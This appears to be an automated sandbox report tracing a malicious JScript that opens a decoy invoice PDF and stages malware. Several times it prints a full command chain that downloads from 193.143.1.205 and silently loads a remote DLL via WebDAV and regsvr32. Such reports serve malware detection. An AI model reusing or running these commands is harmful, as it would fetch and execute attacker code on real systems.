Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2431.js.csv");ITextStream.WriteLine(" entry:8131 f:tscbsnx");ITextStream.WriteLine(" exec:2 f:tscbsnx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3785			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5452			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6648	Thread sleep count: 3785 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6048	Thread sleep count: 5452 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 360	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7392	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2206165710.000002A423378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2194033210.000002A4233E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206230144.000002A4233E0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3432871662.00000240D1458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3431388586.00000240CBE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2194033210.000002A4233E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206230144.000002A4233E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
